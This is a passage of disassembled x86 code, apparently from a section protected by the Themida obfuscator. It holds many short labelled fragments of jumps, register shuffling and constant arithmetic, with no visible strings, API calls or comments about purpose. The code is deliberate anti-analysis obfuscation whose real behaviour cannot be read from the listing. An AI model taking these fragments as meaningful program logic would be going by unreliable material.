		jmp	loc_591A89
; ---------------------------------------------------------------------------


loc_5943C1:				; CODE XREF: sub_59196D-34Ej
		push	24D5h
		mov	[esp+3Eh+var_40+2], edi
		push	26BE48B7h
		jmp	loc_58EF5D
; ---------------------------------------------------------------------------


loc_5943D3:				; CODE XREF: sub_59196D+8F8j
		add	ebp, 4
		xor	ebp, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebp
		jmp	loc_595074
; ---------------------------------------------------------------------------


loc_5943E1:				; CODE XREF: sub_59196D+1969j
		push	ax
		inc	byte ptr [esp+0]
		pop	ax
		sub	al, 0EBh
		add	al, 0DFh
		sub	al, 0D9h
		jmp	loc_5978CA
; ---------------------------------------------------------------------------


loc_5943F3:				; CODE XREF: sub_59196D-FB5j
		push	ebx
		mov	ebx, 57B36C44h
		xor	edi, ebx
		pop	ebx
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0], esi
		sub	esp, 4
		jmp	loc_591598
; ---------------------------------------------------------------------------


loc_594419:				; CODE XREF: sub_59196D+3C4Fj
		pop	dword ptr [edi+24h]


loc_59441C:				; CODE XREF: sub_59196D-361Cj
		sub	esp, 4
		mov	[esp+12h+var_12], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+12h+var_12]
		xor	[esp+12h+var_12], ebp
		jmp	loc_590564
; ---------------------------------------------------------------------------


loc_594438:				; CODE XREF: sub_59196D-25B7j
		push	esi
		mov	esi, 4707615h
		mov	ebp, esi
		pop	esi
		inc	ebp
		jp	loc_58FBF2
		add	ebp, 18120B05h
		jg	loc_593C54
		jmp	loc_5957EB
; ---------------------------------------------------------------------------
		sub	eax, 14C83538h
		mov	ch, al
		mov	ch, bl


loc_594462:				; CODE XREF: sub_59196D+1EBAj
		mov	[esp+12h+var_12], eax
		push	dword ptr [esp+4]
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		pop	[esp+12h+var_12]
		jmp	loc_594FFB
; ---------------------------------------------------------------------------


loc_594477:				; CODE XREF: sub_59196D+2FB7j
		add	eax, 1456CAF5h
		add	ebp, eax
		pop	eax
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		inc	[esp+6+var_8+2]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594491:				; CODE XREF: sub_59196D-4B74j
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, 0C92534Ch
		mov	edi, 0F36DACB8h
		add	edi, ecx
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_5940B5
; ---------------------------------------------------------------------------


loc_5944B2:				; CODE XREF: sub_59196D-63EEj
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		push	ecx
		mov	ecx, 23A16EADh
		jmp	loc_59637F
; ---------------------------------------------------------------------------


loc_5944CE:				; CODE XREF: sub_59196D-2FFBj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5944D3:				; CODE XREF: sub_59196D:loc_591CE8j
		push	eax
		mov	al, 1
		xor	cl, al
		pop	eax
		sub	al, 86h
		jmp	loc_5946F6
; ---------------------------------------------------------------------------


loc_5944E0:				; CODE XREF: sub_59196D+A46j
		add	al, cl
		add	al, 32h
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	4142h
		jmp	loc_58DA03
; ---------------------------------------------------------------------------


loc_5944F4:				; CODE XREF: sub_59196D+16FDj
		mov	[esp-8+arg_4], esi
		pop	ebx
		pop	esi
		sub	esp, 4
		jmp	loc_5929C3
; ---------------------------------------------------------------------------


loc_594504:				; CODE XREF: sub_59196D+49A6j
		push	6BF7h
		jmp	loc_59649A
; ---------------------------------------------------------------------------


loc_59450E:				; CODE XREF: sub_59196D+3765j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		sub	eax, 3D0644F2h
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594530:				; CODE XREF: sub_59196D-1E59j
		jbe	loc_58DD2A
		jmp	loc_594CF3
; ---------------------------------------------------------------------------


loc_59453B:				; CODE XREF: sub_59196D-4C0Fj
		push	59Ah
		mov	[esp+3Eh+var_40+2], edx
		push	eax
		mov	al, 8Eh
		push	ecx
		mov	cl, 94h
		jmp	loc_597F9F
; ---------------------------------------------------------------------------


loc_59454E:				; CODE XREF: sub_59196D+447j
		pop	ebx
		push	esi
		push	eax
		mov	eax, 2AD4C16h
		mov	esi, eax
		pop	eax
		add	esi, 0FD52B3ECh
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+0]
		jmp	loc_58EA66
; ---------------------------------------------------------------------------


loc_59456A:				; CODE XREF: sub_59196D-1D6Fj
					; sub_59196D-857j
		sub	ebp, 2BE956F0h
		jmp	loc_58D257
; ---------------------------------------------------------------------------


loc_594575:				; CODE XREF: sub_59196D-2160j
		sub	ecx, 0A9F7190Ah
		mov	edi, ecx
		pop	ecx
		shl	edi, 5
		add	edi, 0FD03EF9Ah
		or	ebx, edi
		mov	edi, [esp+12h+var_12]
		jmp	loc_59775C
; ---------------------------------------------------------------------------


loc_594591:				; CODE XREF: sub_59196D+42B4j
		push	ebx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ecx
		jmp	loc_58F239
; ---------------------------------------------------------------------------


loc_59459D:				; CODE XREF: sub_59196D-2C92j
		dec	ebp
		jmp	loc_58DFE5
; ---------------------------------------------------------------------------


loc_5945A3:				; CODE XREF: sub_59196D+559Fj
		sub	al, dh
		add	al, 3Fh
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		add	al, bl
		push	7D68h
		mov	[esp+20h+var_22+2], ecx
		jmp	loc_5953D5
; ---------------------------------------------------------------------------


loc_5945BF:				; CODE XREF: sub_59196D-1764j
		pop	esp
		sub	bl, 0C9h
		push	187Dh
		mov	[esp+1Ch+var_1E+2], ecx
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		mov	bh, 76h
		jmp	loc_595FBF
; ---------------------------------------------------------------------------


loc_5945D8:				; CODE XREF: sub_59196D-2547j
		push	esp
		push	[esp-0Ah+arg_4+2]
		pop	edx
		jmp	sub_58D10E
; ---------------------------------------------------------------------------


loc_5945E2:				; CODE XREF: sub_58CE9F+Ej
		add	ebp, 4
		xchg	ebp, [esp-0Ah+arg_4+2]
		pop	esp
		push	edi
		jmp	sub_58C816
; ---------------------------------------------------------------------------


loc_5945EF:				; CODE XREF: sub_59196D+43D8j
		not	ecx
		sub	ecx, 0A2E71A5Dh
		jmp	loc_59565B
; ---------------------------------------------------------------------------


loc_5945FC:				; CODE XREF: sub_59196D+12B4j
		add	ebp, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		btr	[esp+0], ax
		pushf
		jmp	loc_590A14
; ---------------------------------------------------------------------------


loc_594616:				; CODE XREF: sub_59196D-1C06j
					; sub_59196D+55FCj
		dec	esi
		add	esi, 47C76162h
		inc	esi
		sub	esi, 6C6F4ADEh
		xor	esi, 34A82194h
		add	edx, esi
		jmp	loc_58B945
; ---------------------------------------------------------------------------


loc_594631:				; CODE XREF: sub_59196D-1F81j
					; sub_59196D+4AF1j
		add	eax, 0E120F20Fh
		mov	ecx, eax
		pop	eax
		mov	edi, ecx
		pop	ecx
		shl	edi, 1
		dec	edi
		dec	edi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_58FCC2
; ---------------------------------------------------------------------------


loc_59464F:				; CODE XREF: sub_59196D:loc_592335j
		dec	esi
		jmp	loc_591717
; ---------------------------------------------------------------------------


loc_594655:				; CODE XREF: sub_59196D+33FAj
		xor	dl, bl
		pop	ebx
		add	cl, dl
		pop	edx
		push	ebx
		mov	bh, cl
		mov	al, bh
		pop	ebx
		pop	ecx
		xor	al, 93h
		jbe	loc_58D3B7
		not	al
		shr	al, 3
		js	loc_5939BB
		jmp	loc_5902E5
; ---------------------------------------------------------------------------


loc_59467A:				; CODE XREF: sub_59196D+6242j
		add	ecx, 4
		jmp	loc_595616
; ---------------------------------------------------------------------------


loc_594685:				; CODE XREF: sub_59196D-5886j
		pop	edi
		pop	ecx
		jmp	loc_5946CD
; ---------------------------------------------------------------------------


loc_59468C:				; CODE XREF: sub_59196D+504j
		add	al, 0B5h
		add	bl, al
		pop	eax
		sub	bl, 1
		push	ecx
		push	eax
		mov	ah, 9Ah
		xor	ah, 0DAh
		inc	ah
		jnp	loc_5956BF
		jmp	loc_58FCD1
; ---------------------------------------------------------------------------


loc_5946A8:				; CODE XREF: sub_59196D-1214j
		add	edx, ecx
		jmp	loc_58B571
; ---------------------------------------------------------------------------


loc_5946AF:				; CODE XREF: sub_59196D-2B0Dj
		add	edx, esi
		pop	esi
		jmp	loc_5919DC
; ---------------------------------------------------------------------------


loc_5946B7:				; CODE XREF: sub_59196D+5489j
		xor	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	ecx
		push	4D045A8Fh
		jmp	loc_590432
; ---------------------------------------------------------------------------


loc_5946CD:				; CODE XREF: sub_59196D+2D1Aj
		add	ecx, 4
		push	ebp
		mov	ebp, 71865027h
		sub	ebp, 71865023h
		add	ecx, ebp
		jmp	loc_5969CC
; ---------------------------------------------------------------------------


loc_5946E6:				; CODE XREF: sub_59196D+63EEj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5946EB:				; CODE XREF: sub_59196D-3CB1j
					; sub_59196D+5A08j
		xor	ecx, 2600001Ah
		jmp	loc_592219
; ---------------------------------------------------------------------------


loc_5946F6:				; CODE XREF: sub_59196D+2B6Ej
		add	al, cl
		add	al, 86h
		pop	ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		mov	bl, 9
		jmp	loc_597C6A
; ---------------------------------------------------------------------------


loc_59470B:				; CODE XREF: sub_59196D-5CC9j
		xor	cl, 2Fh
		add	cl, 14h
		sub	bh, cl
		jmp	loc_59395C
; ---------------------------------------------------------------------------


loc_594718:				; CODE XREF: sub_59196D-A14j
		neg	bl
		dec	bl
		not	bl
		jmp	loc_59269D
; ---------------------------------------------------------------------------


loc_594723:				; CODE XREF: sub_59196D+1348j
		push	esi
		mov	esi, 598518BFh
		mov	ebx, esi
		pop	esi
		or	ebx, 18FC690Ch
		or	ebx, 0CE5367Fh
		jmp	loc_59427A
; ---------------------------------------------------------------------------


loc_59473D:				; CODE XREF: sub_59196D-40D4j
		xchg	eax, [esp+58h+var_5A+2]
		pop	esp
		mov	[esp+54h+var_54], ecx
		jmp	loc_58D282
; ---------------------------------------------------------------------------


loc_594749:				; CODE XREF: sub_59196D+22E2j
		sub	ebx, edi
		pop	edi
		sub	ecx, ebx
		mov	ebx, [esp+18h+var_1A+2]
		push	ebx
		jmp	loc_58CDFE
; ---------------------------------------------------------------------------


loc_594757:				; CODE XREF: sub_59196D-445Cj
		sub	esp, 4
		mov	[esp+24h+var_26+2], esp
		add	[esp+24h+var_26+2], 4
		pop	ebx
		add	ebx, 4
		push	ebp
		push	ebx
		jmp	loc_58B549
; ---------------------------------------------------------------------------


loc_594772:				; CODE XREF: sub_59196D+4071j
		push	dword ptr [edi+eax*4]
		push	[esp+2Ch+var_2E+2]
		push	[esp+30h+var_32+2]
		jmp	loc_5949E5
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+34h+var_36+2]
		push	0EA8h
		mov	[esp+0], edx
		mov	edx, esp
		push	73C8h
		mov	[esp+3Ch+var_3C], edi
		push	ecx
		jmp	loc_595820
; ---------------------------------------------------------------------------


loc_59479C:				; CODE XREF: sub_59196D+382Cj
		mov	eax, [esp+40h+var_40]
		jmp	loc_58C0BD
; ---------------------------------------------------------------------------


loc_5947A4:				; CODE XREF: sub_59196D+39E2j
		sub	eax, edx
		jmp	loc_5949A6
; ---------------------------------------------------------------------------


loc_5947AB:				; CODE XREF: sub_59196D-3C35j
		add	edx, ebp
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		sub	edx, 698C1089h
		jmp	loc_595344
; ---------------------------------------------------------------------------


loc_5947BE:				; CODE XREF: sub_59196D+3332j
		mov	ebp, 35DA6E3Eh
		or	ebp, 79A764AAh
		sub	esp, 4
		jmp	loc_59270A
; ---------------------------------------------------------------------------


loc_5947D1:				; CODE XREF: sub_59196D+4E78j
		xor	bh, 0DDh
		xor	cl, bh
		pop	ebx
		xor	al, cl
		pop	ecx
		push	edx
		jmp	loc_594190
; ---------------------------------------------------------------------------


loc_5947E0:				; CODE XREF: sub_59196D-5549j
		xor	ebx, 4F201910h
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 4
		jmp	loc_594153
; ---------------------------------------------------------------------------


loc_5947F1:				; CODE XREF: sub_59196D+1A74j
		pop	ecx
		push	2EB5h
		mov	[esp+0], edx
		mov	edx, 38512921h
		sub	edx, 3851291Dh
		add	ecx, edx
		pop	edx
		push	edi
		jmp	loc_596962
; ---------------------------------------------------------------------------


loc_59480E:				; CODE XREF: sub_59196D+52E4j
		inc	esi
		jmp	loc_58FDC9
; ---------------------------------------------------------------------------


loc_594814:				; CODE XREF: sub_59196D-5EBj
		add	edx, 4
		push	edi
		jmp	loc_592A86
; ---------------------------------------------------------------------------


loc_594820:				; CODE XREF: sub_59196D+5BCEj
		add	esp, 4
		sub	eax, ecx
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5968C9
; ---------------------------------------------------------------------------


loc_594830:				; CODE XREF: sub_59196D+60F6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_22+2]
		pop	esp
		add	eax, 2
		jmp	loc_58E848
; ---------------------------------------------------------------------------


loc_594845:				; CODE XREF: sub_59196D-3D30j
		jmp	loc_590321
; ---------------------------------------------------------------------------


loc_59484A:				; CODE XREF: sub_590BE0-4DF5j
		add	esp, 4
		push	[esp+18h+var_1A+2]
		pop	eax
		add	esp, 4
		jmp	loc_58B987
; ---------------------------------------------------------------------------


loc_59485C:				; CODE XREF: sub_59196D+3323j
		mov	edx, [esp+14h+var_16+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], ecx
		jmp	loc_58E967
; ---------------------------------------------------------------------------


loc_594879:				; CODE XREF: sub_59196D-2CBDj
		add	esp, 4
		add	ebx, eax
		jmp	loc_59385A
; ---------------------------------------------------------------------------
		mov	eax, [esp+1Ch+var_1E+2]
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		jmp	loc_594FA5
; ---------------------------------------------------------------------------


loc_594891:				; CODE XREF: sub_59196D+3CDAj
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	sub_59192A
; ---------------------------------------------------------------------------


loc_5948A0:				; CODE XREF: sub_59196D-11ABj
		push	ebx
		not	[esp+1Ch+var_1E+2]
		pop	ebx
		xor	ebx, 430C39ABh
		jno	loc_59344D
		neg	ebx
		jle	loc_59246B
		inc	ebx
		or	al, 5Bh


loc_5948BC:				; CODE XREF: sub_59196D:loc_594197j
		jmp	loc_5961F8
; ---------------------------------------------------------------------------


loc_5948C1:				; CODE XREF: sub_59196D-60C8j
					; sub_59196D-26Dj
		or	edx, eax
		shl	edx, 1
		push	48D4h
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_593E78
; ---------------------------------------------------------------------------


loc_5948D2:				; CODE XREF: sub_59196D+8CAj
		mov	esi, ebx
		mov	eax, esi
		push	[esp+2Ch+var_2E+2]
		mov	esi, [esp+30h+var_32+2]
		jmp	loc_58D700
; ---------------------------------------------------------------------------


loc_5948E1:				; CODE XREF: sub_59196D+C73j
		neg	ebx
		dec	ebx
		xor	ebx, 157E69D7h
		push	edi
		mov	edi, 15391472h
		xor	ebx, edi
		pop	edi
		add	ebx, 1CB43435h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+20h+var_22+2]
		pop	esp
		push	edi
		jmp	loc_594940
; ---------------------------------------------------------------------------


loc_594906:				; CODE XREF: sub_59196D-61E1j
		xor	ebp, edx
		pop	edx
		dec	ebp
		and	ebp, 2527445Bh
		or	ebp, 568C18A3h
		neg	ebp
		or	ebp, 1D7F2D44h
		push	eax
		mov	eax, 4E2945C2h
		jmp	loc_594477
; ---------------------------------------------------------------------------


loc_594929:				; CODE XREF: sub_59196D+32EBj
		mov	[esp+1Ch+var_1E+2], edx
		mov	dl, 56h
		add	cl, dl
		mov	edx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	al, cl
		jmp	loc_595601
; ---------------------------------------------------------------------------


loc_594940:				; CODE XREF: sub_59196D+2F94j
		mov	edi, 6CED02F9h
		add	ebx, edi
		jmp	loc_595AB4
; ---------------------------------------------------------------------------


loc_59494C:				; CODE XREF: sub_59196D-4C58j
					; sub_59196D-419Bj
		push	ebx
		xor	[esp+42h+var_44+2], 2D2B71E3h
		jmp	loc_592E34
; ---------------------------------------------------------------------------


loc_594959:				; CODE XREF: sub_59196D-2F06j
		shr	byte ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_5905A5
; ---------------------------------------------------------------------------


loc_594962:				; CODE XREF: sub_59196D:loc_5940F0j
		sub	edi, 314C34BCh
		mov	ebx, edi
		push	[esp-10h+arg_C]
		pop	edi
		add	esp, 4
		jmp	loc_595C0C
; ---------------------------------------------------------------------------


loc_594979:				; CODE XREF: sub_59196D-52E5j
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	ecx, [esp+0]
		jmp	loc_593D93
; ---------------------------------------------------------------------------


loc_594987:				; CODE XREF: sub_59196D-2047j
		sub	ebp, 0FF7D7ECDh
		sub	edx, 53815C19h
		add	edx, ebp
		add	edx, 53815C19h
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_58FB90
; ---------------------------------------------------------------------------


loc_5949A6:				; CODE XREF: sub_59196D+2E39j
		pop	edx
		xor	ebx, eax
		jmp	loc_58CDC7
; ---------------------------------------------------------------------------


loc_5949AE:				; CODE XREF: sub_59196D-6292j
					; sub_59196D-261Aj
		mov	ebx, edx
		push	[esp+18h+var_1A+2]
		pop	edx
		add	esp, 4
		xor	esi, ebx
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		and	ecx, esi
		push	[esp+10h+var_12+2]
		jmp	loc_58D19A
; ---------------------------------------------------------------------------


loc_5949CC:				; CODE XREF: sub_59196D+6978j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ebp
		jmp	loc_595316
; ---------------------------------------------------------------------------


loc_5949E5:				; CODE XREF: sub_59196D+2E0Ej
		mov	eax, [esp+34h+var_36+2]
		push	ebp
		jmp	loc_594F98
; ---------------------------------------------------------------------------


loc_5949EE:				; CODE XREF: sub_59196D-5B6Aj
		add	eax, 5E827D35h
		add	eax, edi
		jmp	loc_58FC0C
; ---------------------------------------------------------------------------


loc_5949FA:				; CODE XREF: sub_59196D+5312j
		add	ch, bh
		push	edx
		mov	dl, 63h
		shr	dl, 3
		dec	dl
		shr	dl, 2
		xchg	ah, dl
		not	ah
		xchg	ah, dl
		jmp	loc_597C83
; ---------------------------------------------------------------------------


loc_594A12:				; CODE XREF: sub_59196D-2DEFj
		push	7C72h
		mov	[esp+0], ebx
		mov	bh, 9Ah
		xor	cl, bh
		pop	ebx
		dec	cl
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58C2F7
; ---------------------------------------------------------------------------


loc_594A2F:				; CODE XREF: sub_59196D+9F1j
		push	edx
		jmp	loc_597C40
; ---------------------------------------------------------------------------


loc_594A35:				; CODE XREF: sub_58FC53-2E36j
		add	bl, 0FAh
		xor	cl, bl
		pop	ebx
		add	al, 0BDh
		sub	al, cl
		sub	al, 0BDh
		pop	ecx
		push	3800h
		mov	[esp+10h+var_12+2], ecx
		mov	ch, 24h
		push	ebx
		mov	bh, 5Ch
		dec	bh
		add	bh, 1Ch
		jmp	loc_597CF5
; ---------------------------------------------------------------------------


loc_594A59:				; CODE XREF: sub_59196D+1DA8j
		mov	ebp, 2
		mov	edx, ebp
		pop	ebp
		jmp	loc_58BEFC
; ---------------------------------------------------------------------------


loc_594A66:				; CODE XREF: sub_59196D+F8Dj
		mov	[esp+32h+var_32], ecx
		push	800h
		jmp	loc_5929B7
; ---------------------------------------------------------------------------


loc_594A73:				; CODE XREF: sub_59196D+1E18j
		mov	ebp, 4
		add	edx, 74AB09ACh
		add	edx, ebp
		sub	edx, 74AB09ACh
		pop	ebp
		xor	edx, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], edx
		xor	edx, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		jmp	loc_5920D5
; ---------------------------------------------------------------------------


loc_594A98:				; CODE XREF: sub_59196D-216j
		pop	ecx
		sub	edx, 0FFFFFFFFh
		jmp	loc_5973C8
; ---------------------------------------------------------------------------


loc_594AA1:				; CODE XREF: sub_59196D+66CFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		or	eax, eax
		jnz	loc_58D266
		push	ecx
		push	edi
		push	eax
		mov	eax, 768E2DBDh
		and	eax, 2140FB1h
		sub	eax, 672F230Dh
		jz	loc_593D22
		not	eax
		jmp	loc_58E8F2
; ---------------------------------------------------------------------------


loc_594ADA:				; CODE XREF: sub_59196D+42A8j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594ADF:				; CODE XREF: sub_59196D-38A8j
		pop	esp
		mov	[esp+1Eh+var_1E], ebp
		jmp	loc_58DC10
; ---------------------------------------------------------------------------


loc_594AE8:				; CODE XREF: sub_59196D-44Cj
		sub	esp, 4
		mov	[esp+36h+var_36], esi
		not	[esp+36h+var_36]
		pop	esi
		jmp	loc_59865E
; ---------------------------------------------------------------------------


loc_594AFA:				; CODE XREF: sub_59196D-2DC0j
		dec	ch
		push	dx
		push	cx
		mov	cl, 0C0h
		mov	dh, cl
		jmp	loc_58DF5A
; ---------------------------------------------------------------------------


loc_594B09:				; CODE XREF: sub_59196D-1206j
		mov	[esp+4Eh+var_4E], esp
		add	[esp+4Eh+var_4E], 4
		pop	ebp
		push	esi
		jmp	loc_59215C
; ---------------------------------------------------------------------------


loc_594B1A:				; CODE XREF: sub_59196D+B55j
		mov	bl, 67h
		shr	bl, 8
		js	loc_59805C
		jmp	loc_59622D
; ---------------------------------------------------------------------------


loc_594B2A:				; CODE XREF: sub_59196D-183j
		jmp	loc_5931D0
; ---------------------------------------------------------------------------


loc_594B2F:				; CODE XREF: sub_59196D:loc_595330j
		inc	ebx
		jge	loc_58E0B7
		jmp	loc_58EBC7
; ---------------------------------------------------------------------------


loc_594B3B:				; CODE XREF: sub_59196D+4EB2j
		xor	edx, 878AFEFCh
		add	edi, edx
		pop	edx
		sub	edi, edx
		sub	edi, 6037A17h
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_593FD1
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594B5F:				; CODE XREF: sub_59196D-2D39j
		shr	esi, 3
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ebx
		push	5BB0170Dh
		pop	ebx
		jmp	loc_59679D
; ---------------------------------------------------------------------------


loc_594B76:				; CODE XREF: sub_59196D+2204j
		or	eax, ebx
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_593303
; ---------------------------------------------------------------------------


loc_594B86:				; CODE XREF: sub_59196D+153Bj
		mov	eax, esp
		push	ebp
		jmp	loc_5974CA
; ---------------------------------------------------------------------------


loc_594B8E:				; CODE XREF: sub_59196D+1FA8j
		mov	[esp+3Ah+var_3C+2], eax
		mov	eax, 10CB7752h
		add	edx, 33CB776Ah
		jmp	loc_58DE29
; ---------------------------------------------------------------------------


loc_594BA1:				; CODE XREF: sub_59196D+64F8j
		mov	word ptr [esp+3Ah+var_3C+2], dx
		xor	byte ptr [esp+3Ah+var_3C+3], bh
		jmp	loc_58F18B
; ---------------------------------------------------------------------------


loc_594BAE:				; CODE XREF: sub_59196D+462Bj
		push	ecx
		mov	ecx, 7ECB54F7h
		and	eax, ecx
		pop	ecx
		xor	eax, 4EB939FAh
		xor	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 23760F20h
		shl	ecx, 5
		shl	ecx, 2
		and	ecx, 8CE43ABh
		sub	ecx, 42ED7154h
		jmp	loc_591AA3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+3Ah+var_3C+2]
		push	3E3Bh
		mov	[esp+3Eh+var_40+2], esi
		push	esp
		mov	esi, [esp+42h+var_44+2]
		add	esp, 4
		add	esi, 4
		push	ebp
		push	ecx
		mov	ecx, 2
		jmp	loc_58E7AA
; ---------------------------------------------------------------------------


loc_594C01:				; CODE XREF: sub_59196D+2166j
		xor	ah, 6Eh
		sub	ch, ah
		pop	eax
		sub	ch, 0B7h
		sub	bl, ch
		pop	ecx
		jmp	loc_596BDB
; ---------------------------------------------------------------------------


loc_594C12:				; CODE XREF: sub_59196D-30E3j
		push	ebx
		mov	ebx, 3079CF9Ch
		add	esi, ebx
		jmp	loc_58E473
; ---------------------------------------------------------------------------


loc_594C1F:				; CODE XREF: sub_59196D-50F5j
		jle	loc_590156
		not	edi
		add	edi, 70AC2BC7h
		jmp	loc_593A9D
; ---------------------------------------------------------------------------


loc_594C32:				; CODE XREF: sub_59196D+4348j
		xor	[esp+2Eh+var_2E], esi
		jmp	loc_593BD1
; ---------------------------------------------------------------------------


loc_594C3A:				; CODE XREF: sub_59196D-2819j
		sub	ebx, 2
		xchg	ebx, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		jmp	loc_59162F
; ---------------------------------------------------------------------------


loc_594C48:				; CODE XREF: sub_59196D-61C5j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594C4D:				; CODE XREF: sub_59196D+6D0Aj
		xor	cl, dh
		xor	dh, cl
		xor	cl, dh
		dec	cl
		sub	esp, 4
		jmp	loc_594929
; ---------------------------------------------------------------------------


loc_594C5D:				; CODE XREF: sub_59196D+55DBj
		pop	esp
		shr	ecx, 2
		push	ebx
		jmp	loc_58DB79
; ---------------------------------------------------------------------------


loc_594C67:				; CODE XREF: sub_59196D-634Aj
		push	esi
		jmp	loc_58D6CE
; ---------------------------------------------------------------------------


loc_594C6D:				; CODE XREF: sub_59196D+2390j
		shl	ecx, 6
		push	ebx
		mov	ebx, 77453FA6h
		jmp	loc_58DBEE
; ---------------------------------------------------------------------------


loc_594C7B:				; CODE XREF: sub_590677+1Ej
		pop	ebx
		pop	edx
		push	[esp+2Ah+var_2A]
		pop	ecx
		add	esp, 4


loc_594C84:				; CODE XREF: sub_59196D-5AF6j
		push	edi
		jmp	loc_58C2A3
; ---------------------------------------------------------------------------


loc_594C8A:				; CODE XREF: sub_59196D+10BCj
		xchg	esi, [esp+10h+var_12+2]
		pop	esp
		mov	eax, edx
		jmp	loc_59485C
; ---------------------------------------------------------------------------


loc_594C95:				; CODE XREF: sub_59196D+957j
		xchg	ecx, [esp+20h+var_22+2]
		pop	esp
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebp
		jmp	loc_5947BE
; ---------------------------------------------------------------------------


loc_594CA4:				; CODE XREF: sub_59196D+B10j
		add	esi, 305D676Ch
		add	esi, 0E0C9FDD5h
		jmp	loc_5961D3
; ---------------------------------------------------------------------------


loc_594CB5:				; CODE XREF: sub_59196D+2800j
		pop	edx
		sub	al, cl
		jmp	loc_5900B2
; ---------------------------------------------------------------------------


loc_594CBD:				; CODE XREF: sub_59196D-325Bj
		pop	edi
		xchg	ebx, [esp+36h+var_36]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_594CCA:				; CODE XREF: sub_59196D-5338j
		jmp	loc_58F7B8
; ---------------------------------------------------------------------------


loc_594CCF:				; CODE XREF: sub_59196D-3E4Dj
		shl	di, 8
		shl	di, 5
		and	di, 26A4h
		add	di, 558h
		dec	di
		push	ax
		mov	ax, 5343h
		xor	di, ax
		pop	ax
		jmp	loc_5917D4
; ---------------------------------------------------------------------------


loc_594CF3:				; CODE XREF: sub_59196D+2BC9j
		dec	ebx
		jge	loc_58D2C7
		sub	ebx, 33AA6E9Bh
		mov	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		mov	bh, bl


loc_594D07:				; CODE XREF: sub_59196D+3AADj
		jnz	loc_593795
		and	eax, 7E55142h
		jge	loc_58F3A6
		pop	esp


loc_594D19:				; CODE XREF: sub_59196D-35BBj
		mov	esp, [esp+10h+var_12+2]
		idiv	cl
		jmp	loc_591B8F
; ---------------------------------------------------------------------------


loc_594D23:				; CODE XREF: sub_58F0FA+1Ej
		add	esi, 4
		jmp	loc_593F24
; ---------------------------------------------------------------------------


loc_594D2E:				; CODE XREF: sub_59196D-6208j
		jl	loc_58B6AE
		push	ecx
		jmp	loc_58FA77
; ---------------------------------------------------------------------------


loc_594D3A:				; CODE XREF: Themida_:0058B8E6j
		neg	eax
		add	eax, 3EE84735h
		sub	eax, 3AAB7FF5h
		jmp	loc_593250
; ---------------------------------------------------------------------------


